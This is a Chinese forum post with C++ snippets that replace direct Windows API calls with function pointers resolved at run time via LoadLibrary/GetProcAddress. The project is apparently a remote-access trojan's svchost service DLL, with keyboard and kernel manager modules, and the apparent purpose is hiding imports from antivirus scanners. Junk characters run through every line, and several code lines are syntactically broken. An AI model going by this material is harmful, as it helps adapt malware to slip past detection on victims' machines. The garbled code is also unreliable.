[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
& l. ]! }4 ~4 p9 L$ Gsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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9 }4 @  e  I* W- C" XDTDY.h：. e- f; W, ]. \5 t4 z% w

" I! g8 g- x* ?. F1 J/ Y#if _MSC_VER>1000
5 L" O$ R9 T. k0 s9 g) p5 f1 `#pragma once1 I: {1 G% |+ t& j1 t; V
#endif //_MSC_VER>10006 g* H2 y  m1 {9 n( U: L8 @
#include<windows.h>
# j" t% Y2 I( e' B7 n7 {8 s! C' S5 m3 K4 n! e4 x" l
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);* t5 ]) {5 [5 u( A3 X  F3 q+ H
class DTDY
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public:
+ z. S% W. y% l% D! _: p2 n! n( hDTDY();
9 ~! i8 O+ `1 t0 a$ v$ y0 P' U/ svirtual ~DTDY();) |! U4 H6 a1 A  m
public:: q) F9 H9 j* g
static pGetModuleFileNameA MyGetModuleFileName;) }9 e! r+ g$ B8 z: c0 Z, ]
static BOOL FunInitiallization();
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#endif, K+ k  l2 N1 p, @7 v; @  z
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7 a5 p4 ]; D8 ZDTDY.cpp:
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, }5 v$ d/ P4 u* I3 h6 Z9 l#include "DTDY.h"
: p% d3 `4 {) xpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;* G5 ~. c7 ~3 j, I1 f# r; {
DTDY:TDY()4 J, I& v( z; |% D
{
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DTDY::~DTDY()2 y. G+ C6 c. F! u- S
{
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BOOL DTDY::FunInitiallization()
+ D8 |7 }, v4 X0 S, y: o{
! q2 q( Q: b! u/ t, ZHMODULE hModule=LoadLibrary("kernel32.dll");3 K4 J7 b- x1 m0 C# J
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
) [/ ]- c3 G' G% `. T* n/ h, }9 bif(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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svchost.cpp:
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#include "DTDY.h"2 |8 j% [3 l8 N2 @
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)1 O9 ]6 G/ G* _% _
{
1 s- X" o9 K% r: Cswitch(ul_reason_for_call)' _& H3 y$ W8 S' F1 F( l; V
{
2 H: m6 q0 Q: Bcase DLL_PROCESS_ATTACH:
3 I8 p6 F+ d. [, o: Mif(!DTDY::FunInitiallization()) return FALSE;, t+ W% M  s. X0 U' {1 T( w% J

( [: T1 P$ e9 }! \" b$ T  xbreak;) M# i+ b) W: I" M# d) A
}
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& Y% O7 Y9 K* V+ T0 r  xGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
2 g- w" ~  ]3 p. }" t2 Q改写为
4 L7 Y( b0 A0 Y& RDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:8 X' t! m0 M- @6 d% o' T( U  I
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#include "../DTDY.h"
# @4 L* B3 ?7 T1 M( `7 EGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));9 [; q8 f' `8 y$ g9 P$ l
改写为0 y3 J8 J4 u: R. ~3 M/ a* }% `! c
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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